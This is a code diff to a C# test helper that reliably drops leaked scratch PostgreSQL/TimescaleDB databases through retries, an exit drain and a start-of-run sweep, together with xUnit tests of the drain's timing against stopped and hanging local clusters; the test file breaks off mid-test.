+///
+/// <para><b>A scratch database must not outlive its run (#4981).</b> Each one that has the TimescaleDB extension
+/// holds a background-worker slot for its scheduler, and a long-lived local cluster has only a few, so databases
+/// left behind eventually fail unrelated tests with "limit of 8 exceeded". Three layers keep that from happening.
+/// <list type="number">
+/// <item>The drop on dispose is retried and a failure is reported, no longer swallowed.</item>
+/// <item>Every database this process creates is remembered until its drop succeeds. Whatever is still remembered
+/// when the process exits (a test that failed before it could dispose, a drop that kept failing) is dropped then,
+/// and named on stderr together with the test that created it.</item>
+/// <item>The first create against a cluster sweeps that cluster for databases a killed run left behind
+/// (<see cref="ScratchDatabaseSweep"/>), because a killed process runs neither of the layers above. The sweep runs on
+/// whatever cluster <c>DARLING_TEST_PG</c> names, and that is safe because it drops only a database whose name matches
+/// the factory's anchored pattern, that is at least 30 minutes old and idle, and that is not its own, with a plain
+/// <c>DROP DATABASE</c>.</item>
+/// </list></para>
 /// </summary>
 internal sealed class ScratchPostgres : IAsyncDisposable
 {
@@ -37,17 +56,44 @@ private ScratchPostgres(string adminConnectionString, string databaseName, strin
         ConnectionString = connectionString;
     }
 
+    /// <summary>
+    /// Every database this process created and has not yet dropped: name to the connection string that drops it, and
+    /// the test that created it. An entry leaves only when its drop succeeds.
+    /// </summary>
+    private static readonly ConcurrentDictionary<string, (string AdminConnectionString, string Creator)> Remembered = new();
+
+    /// <summary>One start-of-run sweep per cluster per process, keyed by host and port.</summary>
+    private static readonly ConcurrentDictionary<string, Lazy<Task>> Sweeps = new();
+
+    private static int _exitDrainHooked;
+
+    /// <summary>Drop attempts on dispose: a transient refusal (a session that has not finished closing) should not leak.</summary>
+    private const int DropAttempts = 3;
+
     public static async Task<ScratchPostgres> CreateAsync(string baseConnectionString, CancellationToken cancellationToken)
     {
-        /* Hex-only generated name: safe to interpolate as a quoted identifier. */
-        var databaseName = "darling_scratch_" + Guid.NewGuid().ToString("N")[..12];
+        HookExitDrain();
+        await SweepOncePerClusterAsync(baseConnectionString, cancellationToken);
 
-        await using (var admin = new NpgsqlConnection(baseConnectionString))
+        /* The factory's pattern (prefix, creation stamp, 12 hex): safe to interpolate as a quoted identifier. */
+        var databaseName = ScratchDatabaseSweep.NewName(DateTime.UtcNow);
+
+        /* Remembered BEFORE the create, so a failure or cancellation anywhere after it still has a drop queued; the
+           exit drain uses IF EXISTS, so a name whose create never ran costs nothing. */
+        Remembered[databaseName] = (baseConnectionString, CurrentTestName());
+
+        try
         {
+            await using var admin = new NpgsqlConnection(UnpooledAdminConnectionString(baseConnectionString));
             await admin.OpenAsync(cancellationToken);
             await using var create = new NpgsqlCommand($"CREATE DATABASE \"{databaseName}\"", admin);
             await create.ExecuteNonQueryAsync(cancellationToken);
         }
+        catch
+        {
+            await TryDropAsync(baseConnectionString, databaseName);
+            throw;
+        }
 
         var builder = new NpgsqlConnectionStringBuilder(baseConnectionString)
         {
@@ -55,6 +101,10 @@ public static async Task<ScratchPostgres> CreateAsync(string baseConnectionStrin
             Pooling = false,
         };
 
+        /* The base string can already carry the session pin (LiveStoreSessionTimeZone adds it to DARLING_TEST_PG),
+           so the unpinned string drops it. */
+        builder.Remove("Timezone");
+
         /* Pinned to UTC the way every product store connection is, so a cluster whose default zone is behind UTC
            cannot skew timestamp round trips (a chunk's range_end read back through a ::timestamp cast). */
         return new ScratchPostgres(
@@ -64,19 +114,483 @@ cannot skew timestamp round trips (a chunk's range_end read back through a ::tim
             builder.ConnectionString);
     }
 
+    /// <summary>
+    /// Drops the database, retrying a transient refusal. A drop that still fails is reported and the database stays
+    /// remembered for the exit drain; it does not fail the test, because failing a passing test in its cleanup would
+    /// invert the signal, and the layers behind this one still remove it.
+    /// </summary>
     public async ValueTask DisposeAsync()
     {
+        for (var attempt = 1; attempt <= DropAttempts; attempt++)
+        {
+            try
+            {
+                await DropAsync(_adminConnectionString, DatabaseName);
+                return;
+            }
+            catch (Exception ex) when (attempt < DropAttempts)
+            {
+                Report($"Scratch database {DatabaseName}: drop attempt {attempt} of {DropAttempts} failed ({ex.GetType().Name}: {ex.Message}); retrying.");
+                await Task.Delay(TimeSpan.FromMilliseconds(250 * attempt));
+            }
+            catch (Exception ex)
+            {
+                Report($"Scratch database {DatabaseName}: drop failed after {DropAttempts} attempts ({ex.GetType().Name}: {ex.Message}); it stays queued for the exit drain.");
+            }
+        }
+    }
+
+    /// <summary>True while this process still has a drop pending for <paramref name="databaseName"/>.</summary>
+    internal static bool IsRemembered(string databaseName) => Remembered.ContainsKey(databaseName);
+
+    /// <summary>
+    /// Drops the named databases if this process still remembers them, as the exit drain does for everything left.
+    /// Exposed by name so a test can prove the drain on a database it leaked on purpose without dropping the databases
+    /// that other tests, running in parallel, are still using.
+    /// </summary>
+    internal static async Task DropRememberedAsync(params string[] databaseNames)
+    {
+        foreach (var name in databaseNames)
+        {
+            if (Remembered.TryGetValue(name, out var entry))
+            {
+                await DropAsync(entry.AdminConnectionString, name);
+            }
+        }
+    }
+
+    /// <summary>Total time <see cref="QuiesceTimescaleJobsAsync"/> may spend before it lets the drop go ahead.</summary>
+    internal static readonly TimeSpan QuiesceCap = TimeSpan.FromSeconds(10);
+
+    /// <summary>
+    /// Unschedules every TimescaleDB job in <paramref name="databaseName"/>, then waits (up to
+    /// <see cref="QuiesceCap"/>) for the job workers already running there to finish, so the
+    /// <c>DROP DATABASE ... WITH (FORCE)</c> that follows does not SIGTERM a policy worker mid-run. CI saw the
+    /// PostgreSQL postmaster log "terminated by exception 0xC0000005" for a TimescaleDB worker, twice, both times
+    /// with a scratch-database FORCE drop in flight (PR #5480); no worker is running in the dropped database
+    /// once this returns, so the drop has nothing to kill.
+    /// <para>Best-effort and bounded: it never throws, never fails a test, and never skips the drop. A caller's
+    /// <paramref name="cancellationToken"/> ends it early too, without a message (the exit drain passes its deadline). A database
+    /// without the extension, or one already gone, returns at once. It does NOT call
+    /// <c>_timescaledb_functions.stop_background_workers()</c>, which SIGTERMs running jobs, the very kill this
+    /// avoids.</para>
+    /// </summary>
+    internal static async Task QuiesceTimescaleJobsAsync(string adminConnectionString, string databaseName, CancellationToken cancellationToken = default)
+    {
+        using var cap = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+        cap.CancelAfter(QuiesceCap);
         try
         {
-            await using var admin = new NpgsqlConnection(_adminConnectionString);
-            await admin.OpenAsync();
-            await using var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS \"{DatabaseName}\" WITH (FORCE)", admin);
-            await drop.ExecuteNonQueryAsync();
+            var scratchBuilder = new NpgsqlConnectionStringBuilder(adminConnectionString)
+            {
+                Database = databaseName,
+                Pooling = false,
+                Timeout = 5,
+            };
+            var adminBuilder = new NpgsqlConnectionStringBuilder(adminConnectionString) { Pooling = false, Timeout = 5 };
+
+            await using (var scratch = new NpgsqlConnection(scratchBuilder.ConnectionString))
+            {
+                await scratch.OpenAsync(cap.Token);
+                await using var probe = new NpgsqlCommand("SELECT to_regclass('_timescaledb_config.bgw_job') IS NOT NULL", scratch);
+                if (!(bool)(await probe.ExecuteScalarAsync(cap.Token))!)
+                {
+                    return;
+                }
+
+                await using var unschedule = new NpgsqlCommand(
+                    "SELECT alter_job(job_id, scheduled => false) FROM timescaledb_information.jobs", scratch);
+                await unschedule.ExecuteNonQueryAsync(cap.Token);
+            }
+
+            await using var admin = new NpgsqlConnection(adminBuilder.ConnectionString);
+            await admin.OpenAsync(cap.Token);
+            /* Two empty polls in a row: a worker the scheduler registered just before the unschedule can still be
+               starting up and not yet show in pg_stat_activity on the first look. */
+            var emptyPolls = 0;
+            while (!cap.IsCancellationRequested)
+            {
+                emptyPolls = await JobWorkerCountAsync(admin, databaseName, cap.Token) == 0 ? emptyPolls + 1 : 0;
+                if (emptyPolls >= 2)
+                {
+                    return;
+                }
+
+                await Task.Delay(TimeSpan.FromMilliseconds(100), cap.Token);
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.InvalidCatalogName)
+        {
+            /* The database is already gone: nothing to quiesce, and the drop below is IF EXISTS. */
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            /* The caller's own deadline (the exit drain's), not the cap: the caller decides whether the drop still runs. */
+        }
+        catch (Exception ex)
+        {
+            /* The cap, a missing database or a refused connect all land here. The drop that follows is the
+               test's cleanup and it still runs; the retries behind it are unchanged. */
+            Console.Error.WriteLine($"Scratch database {databaseName}: TimescaleDB jobs not quiesced before the drop ({ex.GetType().Name}: {ex.Message}).");
+        }
+    }
+
+    /// <summary>
+    /// How many TimescaleDB job workers (and any other non-client, non-scheduler, non-autovacuum backend) are
+    /// attached to <paramref name="databaseName"/>. Job workers show up as e.g. <c>Retention Policy [1038]</c>.
+    /// </summary>
+    internal static async Task<long> JobWorkerCountAsync(NpgsqlConnection admin, string databaseName, CancellationToken cancellationToken)
+    {
+        await using var count = new NpgsqlCommand(
+            @"SELECT count(*) FROM pg_stat_activity
+              WHERE datname = $1
+                AND backend_type NOT IN ('client backend', 'TimescaleDB Background Worker Scheduler', 'autovacuum worker')",
+            admin);
+        count.Parameters.AddWithValue(databaseName);
+        return (long)(await count.ExecuteScalarAsync(cancellationToken))!;
+    }
+
+    private static async Task DropAsync(string adminConnectionString, string databaseName)
+    {
+        await QuiesceTimescaleJobsAsync(adminConnectionString, databaseName);
+        await using var admin = new NpgsqlConnection(UnpooledAdminConnectionString(adminConnectionString));
+        await admin.OpenAsync();
+        await using var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS \"{databaseName}\" WITH (FORCE)", admin);
+        await drop.ExecuteNonQueryAsync();
+        Remembered.TryRemove(databaseName, out _);
+    }
+
+    private static async Task TryDropAsync(string adminConnectionString, string databaseName)
+    {
+        try
+        {
+            await DropAsync(adminConnectionString, databaseName);
         }
         catch
         {
-            /* Best-effort: a leaked scratch database on a throwaway test cluster is harmless,
-               and failing a passing test in its cleanup would invert the signal. */
+            /* The create itself failed, so the original exception is the story; the exit drain retries this drop. */
         }
     }
+
+    /// <summary>
+    /// Subscribes the exit drain once. A process-exit handler is the one place that runs for a failed test, a test
+    /// that never disposed, and an interrupted run alike; it cannot run for a killed process, which is what the
+    /// start-of-run sweep is for.
+    /// </summary>
+    private static void HookExitDrain()
+    {
+        if (Interlocked.Exchange(ref _exitDrainHooked, 1) == 0)
+        {
+            AppDomain.CurrentDomain.ProcessExit += (_, _) => DropEverythingRemembered();
+        }
+    }
+
+    private static void DropEverythingRemembered()
+    {
+        var pending = new List<RememberedDatabase>();
+        foreach (var (name, entry) in Remembered.ToArray())
+        {
+            pending.Add(new RememberedDatabase(name, entry.AdminConnectionString, entry.Creator));
+        }
+
+        DropRememberedAtExit(pending);
+    }
+
+    /// <summary>One database the exit drain was asked to drop: its name, the connection string that drops it, and the test that created it.</summary>
+    internal readonly record struct RememberedDatabase(string Name, string AdminConnectionString, string Creator);
+
+    /// <summary>
+    /// What an exit drain did: connections it tried to open, databases it dropped, drops that failed, databases it left
+    /// alone because their cluster did not answer, and databases it had not finished when its deadline passed.
+    /// </summary>
+    internal readonly record struct ExitDrainOutcome(int ConnectAttempts, int Dropped, int Failed, int Skipped, int Unfinished);
+
+    /// <summary>
+    /// How long the exit drain waits to connect to a cluster, in seconds. The default is 15, and the drain ran once per
+    /// remembered database, so a cluster stopped before the process exited cost 15 seconds for each database the run
+    /// still held (#4981).
+    /// </summary>
+    internal const int ExitDrainConnectTimeoutSeconds = 3;
+
+    /// <summary>
+    /// How long one drop at exit may run, in seconds. This stays at the library default on purpose: a dead cluster
+    /// never gets as far as a command (its connect fails first), and a drop on a live cluster ends with an immediate
+    /// checkpoint that took 11 seconds on a loaded local cluster, so a shorter limit cancelled a drop that was working
+    /// and left the very database the drain exists to remove.
+    /// </summary>
+    internal const int ExitDrainCommandTimeoutSeconds = 30;
+
+    /// <summary>
+    /// #5549: the admin connection string with pooling off, for the CREATE DATABASE and the DROP DATABASE. The admin
+    /// string is the caller's <c>DARLING_TEST_PG</c>, so a pooled admin connection went back into the pool every live
+    /// test opens, and the next test took the backend that had just run the drop. CI's log showed one backend PID run
+    /// <c>DROP DATABASE ... WITH (FORCE)</c> on a scratch database and, half a second later, the
+    /// <c>CALL run_job(...)</c> of the retired-baseline race test. With pooling off, the backend that ran a create or a
+    /// drop ends when the connection closes, and no other test ever runs on it.
+    /// </summary>
+    internal static string UnpooledAdminConnectionString(string adminConnectionString) =>
+        new NpgsqlConnectionStringBuilder(adminConnectionString) { Pooling = false }.ConnectionString;
+
+    /// <summary>The admin connection string with the exit drain's own connect and command timeouts, and no pooling: one connection per drop.</summary>
+    internal static string ExitDrainConnectionString(string adminConnectionString) =>
+        new NpgsqlConnectionStringBuilder(adminConnectionString)
+        {
+            Timeout = ExitDrainConnectTimeoutSeconds,
+            CommandTimeout = ExitDrainCommandTimeoutSeconds,
+            Pooling = false,
+        }.ConnectionString;
+
+    /// <summary>
+    /// How long the whole exit drain may take, in seconds, in-flight drops included. The drain is a ProcessExit handler,
+    /// and xUnit v3 under Microsoft.Testing.Platform gives that stage 11 seconds after the run returns (one second, then
+    /// its <c>shutdownForegroundThreadWaitSeconds</c> default of 10) before it prints "[FATAL ERROR] Foreground threads
+    /// were left running, forcing process exit" and exits with code 1. No thread was left running: the 2026-10-08
+    /// nightly passed every test and still failed because this drain, then dropping 39 leaked databases one at a time
+    /// with a TimescaleDB quiesce before each (#5480), was still at work when that window closed. The drain returns when
+    /// this passes even with a drop in flight (one DROP DATABASE waited 26 seconds for its checkpoint on a local rig), and
+    /// names every database it did not finish; the next run's start-of-run sweep removes those, or they go with the
+    /// throwaway cluster. Tests that mint a database must still drop it themselves (see
+    /// <c>ScratchDatabaseDisposalCensusTests</c>); this budget only keeps a leak from failing a run.
+    /// </summary>
+    internal const int ExitDrainBudgetSeconds = 6;
+
+    /// <summary>How many databases the exit drain quiesces and drops at once. Each holds at most two connections at a time.</summary>
+    internal const int ExitDrainParallelism = 16;
+
+    /// <summary>
+    /// The exit drain's body, taking its list as a parameter so a test can run it without a process exit and without
+    /// touching the databases that other tests, running in parallel, still hold.
+    /// </summary>
+    /// <remarks>
+    /// <para>Clusters drain side by side, and within a live cluster up to <see cref="ExitDrainParallelism"/> databases
+    /// drop at once, all under one <paramref name="budget"/> (default <see cref="ExitDrainBudgetSeconds"/> seconds).
+    /// When it passes, the drain returns and names every
+    /// database it did not finish. A drop already sent is not cancelled (an interrupted DROP DATABASE can leave an
+    /// invalid database behind), but no new connect, quiesce or drop starts.</para>
+    /// <para>The first database on each cluster goes alone and probes it. A connect that fails without the server
+    /// answering (a stopped cluster, a refused or timed-out connection) marks the cluster dead, so N databases on it
+    /// cost one short wait, not N, and the rest are skipped by name. A server that answers with an error (a bad
+    /// password, a missing database) is not a dead cluster, and a failed drop on a live cluster never stops the
+    /// others.</para>
+    /// </remarks>
+    internal static ExitDrainOutcome DropRememberedAtExit(IEnumerable<RememberedDatabase> remembered, TimeSpan? budget = null)
+    {
+        var deadline = budget ?? TimeSpan.FromSeconds(ExitDrainBudgetSeconds);
+        var databases = remembered.ToList();
+        var drain = new ExitDrain(databases.Count);
+        using var stop = new CancellationTokenSource(deadline);
+        using var gate = new SemaphoreSlim(ExitDrainParallelism);
+
+        var clusters = databases
+            .Select((db, index) => (Db: db, Index: index))
+            .GroupBy(entry => ClusterKeyOrOwn(entry.Db), StringComparer.Ordinal)
+            .Select(cluster => Task.Run(() => DrainClusterAsync(cluster.ToList(), drain, gate, stop.Token)))
+            .ToArray();
+
+        try
+        {
+            Task.WaitAll(clusters, deadline);
+        }
+        catch (AggregateException)
+        {
+            /* Every per-database step catches its own failure; nothing here should throw, and nothing may stop the exit. */
+        }
+
+        /* One snapshot: a drop sent before the deadline can still finish after this line, and the counts and the names
+           printed below must agree. */
+        var states = drain.Snapshot();
+        for (var i = 0; i < databases.Count; i++)
+        {
+            if (states[i] == ExitDrain.Unsettled)
+            {
+                var db = databases[i];
+                Console.Error.WriteLine($"Scratch database {db.Name} outlived its test ({db.Creator}) and was not dropped within the exit drain's {deadline.TotalSeconds:0.#}-second limit; the next run's start-of-run sweep removes it.");
+            }
+        }
+
+        return new ExitDrainOutcome(
+            Volatile.Read(ref drain.ConnectAttempts),
+            states.Count(state => state == ExitDrain.Dropped),
+            states.Count(state => state == ExitDrain.Failed),
+            states.Count(state => state == ExitDrain.Skipped),
+            states.Count(state => state == ExitDrain.Unsettled));
+    }
+
+    /// <summary>The database's cluster by host and port, or a key of its own when its connection string does not parse, so it fails alone.</summary>
+    private static string ClusterKeyOrOwn(RememberedDatabase db)
+    {
+        try
+        {
+            return ClusterKey(db.AdminConnectionString);
+        }
+        catch (Exception)
+        {
+            return "unparsed:" + db.Name;
+        }
+    }
+
+    private static async Task DrainClusterAsync(List<(RememberedDatabase Db, int Index)> cluster, ExitDrain drain, SemaphoreSlim gate, CancellationToken stop)
+    {
+        if (await DropOneAtExitAsync(cluster[0].Db, cluster[0].Index, drain, gate, stop) == ExitDrop.ClusterDead)
+        {
+            foreach (var (db, index) in cluster.Skip(1))
+            {
+                drain.Settle(index, ExitDrain.Skipped);
+                Console.Error.WriteLine($"Scratch database {db.Name} outlived its test ({db.Creator}) and was not dropped at exit: its cluster did not answer an earlier connect.");
+            }
+
+            return;
+        }
+
+        await Task.WhenAll(cluster.Skip(1).Select(entry => DropOneAtExitAsync(entry.Db, entry.Index, drain, gate, stop)));
+    }
+
+    private static async Task<ExitDrop> DropOneAtExitAsync(RememberedDatabase db, int index, ExitDrain drain, SemaphoreSlim gate, CancellationToken stop)
+    {
+        try
+        {
+            await gate.WaitAsync(stop);
+        }
+        catch (OperationCanceledException)
+        {
+            return ExitDrop.OutOfTime;
+        }
+
+        try
+        {
+            Interlocked.Increment(ref drain.ConnectAttempts);
+            var connectionString = ExitDrainConnectionString(db.AdminConnectionString);
+            await using var admin = new NpgsqlConnection(connectionString);
+            try
+            {
+                await admin.OpenAsync(stop);
+            }
+            catch (OperationCanceledException) when (stop.IsCancellationRequested)
+            {
+                return ExitDrop.OutOfTime;
+            }
+            catch (Exception ex) when (ex is not PostgresException)
+            {
+                drain.Settle(index, ExitDrain.Failed);
+                Console.Error.WriteLine($"Scratch database {db.Name} outlived its test ({db.Creator}) and could not be dropped at exit: {ex.Message}");
+                return ExitDrop.ClusterDead;
+            }
+
+            /* Bounded by its own cap and by the drain's deadline, and it never throws. */
+            await QuiesceTimescaleJobsAsync(connectionString, db.Name, stop);
+            if (stop.IsCancellationRequested)
+            {
+                return ExitDrop.OutOfTime;
+            }
+
+            await using var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS \"{db.Name}\" WITH (FORCE)", admin);
+            await drop.ExecuteNonQueryAsync(CancellationToken.None);
+            Remembered.TryRemove(db.Name, out _);
+            drain.Settle(index, ExitDrain.Dropped);
+            Console.Error.WriteLine($"Scratch database {db.Name} outlived its test ({db.Creator}); dropped at process exit.");
+            return ExitDrop.Done;
+        }
+        catch (Exception ex)
+        {
+            drain.Settle(index, ExitDrain.Failed);
+            Console.Error.WriteLine($"Scratch database {db.Name} outlived its test ({db.Creator}) and could not be dropped at exit: {ex.Message}");
+            return ExitDrop.Done;
+        }
+        finally
+        {
+            gate.Release();
+        }
+    }
+
+    /// <summary>How one database's exit drop ended, as far as the rest of its cluster is concerned.</summary>
+    private enum ExitDrop
+    {
+        Done,
+        ClusterDead,
+        OutOfTime,
+    }
+
+    /// <summary>Each database's outcome in the drain, set once, and the connect count, safe to update from every drop at once.</summary>
+    private sealed class ExitDrain(int count)
+    {
+        public const int Unsettled = 0;
+        public const int Dropped = 1;
+        public const int Failed = 2;
+        public const int Skipped = 3;
+
+        private readonly int[] _states = new int[count];
+
+        public int ConnectAttempts;
+
+        public void Settle(int index, int state) => Interlocked.CompareExchange(ref _states[index], state, Unsettled);
+
+        public int[] Snapshot()
+        {
+            var copy = new int[_states.Length];
+            for (var i = 0; i < copy.Length; i++)
+            {
+                copy[i] = Volatile.Read(ref _states[i]);
+            }
+
+            return copy;
+        }
+    }
+
+    /// <summary>The cluster a connection string names, by host and port: what the start-of-run sweep and the exit drain each treat as one cluster.</summary>
+    private static string ClusterKey(string connectionString)
+    {
+        var builder = new NpgsqlConnectionStringBuilder(connectionString);
+        return $"{builder.Host}:{builder.Port}".ToUpperInvariant();
+    }
+
+    /// <summary>
+    /// The first create against a cluster sweeps it once. Every later caller waits on the same task, so no scratch
+    /// database is created mid-sweep, but a failed sweep never fails a test: it only means debris stays for the next run.
+    /// </summary>
+    private static async Task SweepOncePerClusterAsync(string baseConnectionString, CancellationToken cancellationToken)
+    {
+        var key = ClusterKey(baseConnectionString);
+        var sweep = Sweeps.GetOrAdd(key, _ => new Lazy<Task>(() => RunSweepAsync(baseConnectionString)));
+        await sweep.Value.WaitAsync(cancellationToken);
+    }
+
+    private static async Task RunSweepAsync(string baseConnectionString)
+    {
+        try
+        {
+            using var timeout = new CancellationTokenSource(TimeSpan.FromSeconds(60));
+            await ScratchDatabaseSweep.SweepAsync(
+                baseConnectionString, DateTime.UtcNow, ScratchDatabaseSweep.AbandonedAfter, Report, timeout.Token);
+        }
+        catch (Exception ex)
+        {
+            Report($"The start-of-run sweep for abandoned scratch databases failed and was skipped: {ex.Message}");
+        }
+    }
+
+    private static string CurrentTestName()
+    {
+        try
+        {
+            return TestContext.Current.Test?.TestDisplayName ?? "no test context";
+        }
+        catch
+        {
+            return "no test context";
+        }
+    }
+
+    private static void Report(string message)
+    {
+        try
+        {
+            TestContext.Current.SendDiagnosticMessage(message);
+        }
+        catch
+        {
+            /* No test context to report to; the text is advisory. */
+        }
+
+        Console.Error.WriteLine(message);
+    }
 }
diff --git a/Darling/Darling.Tests/ScratchPostgresExitDrainTests.cs b/Darling/Darling.Tests/ScratchPostgresExitDrainTests.cs
new file mode 100644
index 0000000000..8f7f1ed352
--- /dev/null
+++ b/Darling/Darling.Tests/ScratchPostgresExitDrainTests.cs
@@ -0,0 +1,329 @@
+using System;
+using System.Diagnostics;
+using System.Net;
+using System.Net.Sockets;
+using System.Threading.Tasks;
+using Npgsql;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4981: the exit drain must not stall the end of a test run when the cluster it was asked to clean is gone. It is
+/// the last thing a run does, so with the default 15-second connect wait per remembered database, a cluster that was
+/// stopped before the process exited cost 15 seconds for each database the run still held.
+///
+/// <para>The drain body takes its list as a parameter, so none of these tests needs a process exit, and none
+/// touches the databases that other tests in the same process are still using.</para>
+/// </summary>
+/* #1776 own-store: the dead-cluster cases never connect to a store, and the live case creates one scratch database
+   through ScratchPostgres, so it does not read or write the shared store's tables. */
+[Collection("timing")]
+public sealed class ScratchPostgresExitDrainTests
+{
+    /// <summary>A port nothing listens on: bind to port 0, read the port the OS chose, release it.</summary>
+    private static int ClosedPort()
+    {
+        var listener = new TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        try
+        {
+            return ((IPEndPoint)listener.LocalEndpoint).Port;
+        }
+        finally
+        {
+            listener.Stop();
+        }
+    }
+
+    private static string StoppedClusterConnectionString(int port) =>
+        new NpgsqlConnectionStringBuilder
+        {
+            Host = "127.0.0.1",
+            Port = port,
+            Username = "darling",
+            Database = "postgres",
+            Pooling = false,
+        }.ConnectionString;
+
+    private static ScratchPostgres.RememberedDatabase Remembered(string connectionString, string creator) =>
+        new($"darling_scratch_20010101000000_{Guid.NewGuid():N}"[..43], connectionString, creator);
+
+    /// <summary>
+    /// A cluster that hangs: a listener that never accepts, so the OS completes each TCP handshake and the startup
+    /// message then waits for an answer that never comes, until the drain's connect timeout. Stop it when done.
+    /// </summary>
+    private static (TcpListener Listener, string ConnectionString) HangingCluster()
+    {
+        var listener = new TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        return (listener, StoppedClusterConnectionString(((IPEndPoint)listener.LocalEndpoint).Port));
+    }
+
+    /// <summary>
+    /// The 2026-10-08 nightly passed all 28,763 tests and still failed with "[FATAL ERROR] Foreground threads were
+    /// left running": this drain, a ProcessExit handler, was still dropping 39 leaked databases one at a time when
+    /// xUnit's 11-second end-of-run window closed. Four clusters that each hang for the full connect timeout cost
+    /// four timeouts in a row on the old drain (about 12 seconds, past that window) and one when they drain side by side.
+    /// </summary>
+    [Fact]
+    public void TheDrain_OfSeveralHangingClusters_WaitsOutTheirConnectsSideBySide()
+    {
+        var clusters = new[] { HangingCluster(), HangingCluster(), HangingCluster(), HangingCluster() };
+        try
+        {
+            var databases = Array.ConvertAll(clusters, cluster => Remembered(cluster.ConnectionString, "a hanging one"));
+
+            var clock = Stopwatch.StartNew();
+            var outcome = ScratchPostgres.DropRememberedAtExit(databases);
+            clock.Stop();
+
+            Assert.True(
+                clock.Elapsed < TimeSpan.FromSeconds(ScratchPostgres.ExitDrainConnectTimeoutSeconds * 2),
+                $"the drain of 4 hanging clusters took {clock.Elapsed.TotalSeconds:0.0} seconds; one at a time costs 4 connect timeouts of {ScratchPostgres.ExitDrainConnectTimeoutSeconds} seconds");
+            Assert.Equal(4, outcome.ConnectAttempts);
+            Assert.Equal(4, outcome.Failed);
+            Assert.Equal(0, outcome.Dropped);
+        }
+        finally
+        {
+            foreach (var cluster in clusters)
+            {
+                cluster.Listener.Stop();
+            }
+        }
+    }
+
+    /// <summary>
+    /// Whatever the clusters do, the drain returns by its deadline and names each database it did not finish, so a
+    /// leak, a slow drop or a hung cluster can never again run the exit past xUnit's window and fail a green run.
+    /// </summary>
+    [Fact]
+    public void TheDrain_ReturnsAtItsDeadline_AndCountsWhatItDidNotFinish()
+    {
+        var (listener, hanging) = HangingCluster();
+        try
+        {
+            var deadline = TimeSpan.FromSeconds(1);
+            var clock = Stopwatch.StartNew();
+            var outcome = ScratchPostgres.DropRememberedAtExit(
+                new[] { Remembered(hanging, "hung one"), Remembered(hanging, "hung two"), Remembered(hanging, "hung three") },
+                deadline);
+            clock.Stop();
+
+            /* Under the 3-second connect timeout, so it was the deadline, not the timeout, that ended the drain. */
+            Assert.True(
+                clock.Elapsed < TimeSpan.FromSeconds(ScratchPostgres.ExitDrainConnectTimeoutSeconds) - TimeSpan.FromMilliseconds(500),
+                $"the drain took {clock.Elapsed.TotalSeconds:0.0} seconds against a {deadline.TotalSeconds:0}-second deadline");
+            Assert.Equal(3, outcome.Unfinished);
+            Assert.Equal(0, outcome.Dropped);
+            Assert.Equal(0, outcome.Failed);
+            Assert.Equal(0, outcome.Skipped);
+        }
+        finally
+        {
+            listener.Stop();
+        }
+    }
+
+    [Fact]
+    public void TheDrain_OfThreeDatabases_OnAStoppedCluster_TriesTheClusterOnce_AndEndsQuickly()
+    {
+        var stopped = StoppedClusterConnectionString(ClosedPort());
+        var databases = new[] { Remembered(stopped, "test one"), Remembered(stopped, "test two"), Remembered(stopped, "test three") };
+
+        var clock = Stopwatch.StartNew();
+        var outcome = ScratchPostgres.DropRememberedAtExit(databases);
+        clock.Stop();
+
+        /* One short wait, not three. A refused connect on Windows takes about 2 seconds, so the old drain took about 6
+           here (and 45 where the connect waited out its default), against one attempt capped at the 3-second timeout. */
+        Assert.True(
+            clock.Elapsed < TimeSpan.FromSeconds(ScratchPostgres.ExitDrainConnectTimeoutSeconds + 2),
+            $"the drain of 3 databases on a stopped cluster took {clock.Elapsed.TotalSeconds:0.0} seconds");
+
+        /* Three databases on one dead cluster cost one failed connect, not three: the other two are named and left. */
+        Assert.Equal(1, outcome.ConnectAttempts);
+        Assert.Equal(1, outcome.Failed);
+        Assert.Equal(2, outcome.Skipped);
+        Assert.Equal(0, outcome.Dropped);
+    }
+
+    [Fact]
+    public void TheDrain_OutOfBudget_StartsNoDrop_AndNamesEveryDatabaseItLeaves()
+    {
+        /* The test runner gives the process 10 seconds to exit once the run returns, then forces exit code 1. The
+           nightly of 2026-10-08 lost its publish to that with 28,763 tests green. A drain whose budget is spent
+           starts no connect at all: nothing is attempted, nothing is dropped, and every database is counted as
+           unfinished, so the exit ends on time. */
+        var stopped = StoppedClusterConnectionString(ClosedPort());
+        var databases = new[] { Remembered(stopped, "budget one"), Remembered(stopped, "budget two"), Remembered(stopped, "budget three") };
+
+        var outcome = ScratchPostgres.DropRememberedAtExit(databases, TimeSpan.Zero);
+
+        Assert.Equal(0, outcome.ConnectAttempts);
+        Assert.Equal(0, outcome.Dropped);
+        Assert.Equal(0, outcome.Failed);
+        Assert.Equal(0, outcome.Skipped);
+        Assert.Equal(3, outcome.Unfinished);
+    }
+
+    [Fact]
+    public void TheDrainBudget_StaysInsideTheRunnersExitWait_WithRoomForTheProcessToLeave()
+    {
+        /* The runner waits 10 seconds (shutdownForegroundThreadWaitSeconds) and the wait starts when the run returns.
+           The budget bounds the whole drain, a drop in flight included, and still leaves headroom for the process to
+           leave. */
+        Assert.InRange(ScratchPostgres.ExitDrainBudgetSeconds, 1, 7);
+    }
+
+    [Fact]
+    public void TheDrain_ConnectsWithTheShortTimeouts_AndKeepsTheRestOfTheAdminConnectionString()
+    {
+        var admin = new NpgsqlConnectionStringBuilder
+        {
+            Host = "db.example.test",
+            Port = 5544,
+            Username = "darling",
+            Database = "postgres",
+            Pooling = false,
+        }.ConnectionString;
+
+        var drain = new NpgsqlConnectionStringBuilder(ScratchPostgres.ExitDrainConnectionString(admin));
+
+        /* The connect wait is the one that stalled the exit: 15 seconds by default, 3 for the drain. Both values are
+           named in one place, and the drain sets them whatever the base string carries. */
+        Assert.Equal(ScratchPostgres.ExitDrainConnectTimeoutSeconds, drain.Timeout);
+        Assert.Equal(ScratchPostgres.ExitDrainCommandTimeoutSeconds, drain.CommandTimeout);
+        Assert.True(drain.Timeout < new NpgsqlConnectionStringBuilder().Timeout);
+        Assert.False(drain.Pooling);
+        Assert.Equal("db.example.test", drain.Host);
